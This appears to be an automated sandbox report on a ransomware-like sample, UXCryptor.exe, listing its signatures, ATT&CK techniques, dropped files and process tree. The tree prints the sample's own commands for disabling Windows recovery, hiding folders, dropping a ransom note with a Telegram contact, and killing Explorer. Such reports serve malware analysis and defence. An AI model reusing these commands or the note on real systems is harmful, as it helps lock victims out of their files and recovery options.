Overview

overview

10

Static

static

3

UXCryptor.exe

windows10-2004-x64

10

UXCryptor.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/09/2026, 15:22

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General

  • Target
    UXCryptor.exe
  • Size 85KB
  • Sample260919-sr92casejh
  • SHA256 4962d4279e1ca8b1fc60342f7baa93811e9978c7d47f529dd11246f21ae3a8ac
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoverypersistencetrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • UAC bypass 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Disables RegEdit via registry modification 2 IoCs
    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 64 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    defense_evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs
    defense_evasion
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • System policy modification 1 TTPs 64 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4128
    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\WinServicesHost.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\WinServicesHost.exe" --watchdog
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4896
    • C:\Windows\SysWOW64\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      PID:3092
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:5888
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:5916
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:1724
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:1552
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\documents" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:4300
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:5368
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /f /im Explorer.exe
      2⤵
      • Kills process with taskkill
      PID:2696
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3572
  • C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
    "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --wininit
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Disables RegEdit via registry modification
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5276
    • C:\Windows\SysWOW64\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      PID:5736
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:3704
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:2880
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:3752
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:1860
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%\documents" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:6104
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c cd "%userprofile%" & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @MetroFramework 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:1120
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /f /im Explorer.exe
      2⤵
      • Kills process with taskkill
      PID:2736

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Winlogon Helper DLL

        1
        T1547.004

        Privilege Escalation

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Winlogon Helper DLL

        1
        T1547.004

        Defense Evasion

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Hide Artifacts

        1
        T1564

        Hidden Files and Directories

        1
        T1564.001

        Impair Defenses

        1
        T1562

        Disable or Modify Tools

        1
        T1562.001

        Modify Registry

        4
        T1112

        Credential Access

        Discovery

        System Information Discovery

        2
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

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        Downloads

        WinServicesHost.exe
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\WinServicesHost.exe
        • Size 85KB
        • SHA256 4962d4279e1ca8b1fc60342f7baa93811e9978c7d47f529dd11246f21ae3a8ac
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        $unlocker_id.ux-cryptobytes
        • Path C:\Users\Admin\AppData\Local\Temp\$unlocker_id.ux-cryptobytes
        • Size 6B
        • SHA256 712a3d4f08b5517fe39dc14b0cf357ec0f362aadaf5fd27df8106264e475777d
        • MD5 SHA1 SHA512
        Submit Download

        ReAgent.log
        • Path C:\Windows\Logs\ReAgent\ReAgent.log
        • Size 5KB
        • SHA256 d8432b64690f35c17f150d8d9cbed37076885c05c922a98f144f68ecdf632379
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        diagerr.xml
        • Path C:\Windows\Panther\UnattendGC\diagerr.xml
        • Size 14KB
        • SHA256 01eda751998aa910aa365fc2b628cf8a1ff119f6344bd84adf3e829a5752a2c7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        diagwrn.xml
        • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
        • Size 17KB
        • SHA256 11885a3af57333b63791cb264672498105f5c23dd7a32fbc7b373a4dc92224f4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ReAgent.xml
        • Path C:\Windows\SysWOW64\Recovery\ReAgent.xml
        • Size 1KB
        • SHA256 0f7d35d68a237b9c7d6d24c736e9a758761bb0840c113686b81e2ce33928ef65
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4128-5-0x0000000004DA0000-0x0000000004DAA000-memory.dmp
        Download

        memory/4128-1-0x00000000001C0000-0x00000000001DC000-memory.dmp
        Download

        memory/4128-6-0x0000000004EC0000-0x0000000004F16000-memory.dmp
        Download

        memory/4128-9-0x0000000009050000-0x00000000090B6000-memory.dmp
        Download

        memory/4128-28-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download

        memory/4128-27-0x00000000746C2000-0x00000000746C3000-memory.dmp
        Download

        memory/4128-0-0x00000000746C2000-0x00000000746C3000-memory.dmp
        Download

        memory/4128-4-0x0000000004E20000-0x0000000004EB2000-memory.dmp
        Download

        memory/4128-3-0x0000000005340000-0x00000000058FA000-memory.dmp
        Download

        memory/4128-2-0x0000000004CE0000-0x0000000004D7C000-memory.dmp
        Download

        memory/4128-7-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download

        memory/4896-11-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download

        memory/4896-10-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download

        memory/4896-29-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download

        memory/4896-30-0x00000000746B0000-0x0000000074E6C000-memory.dmp
        Download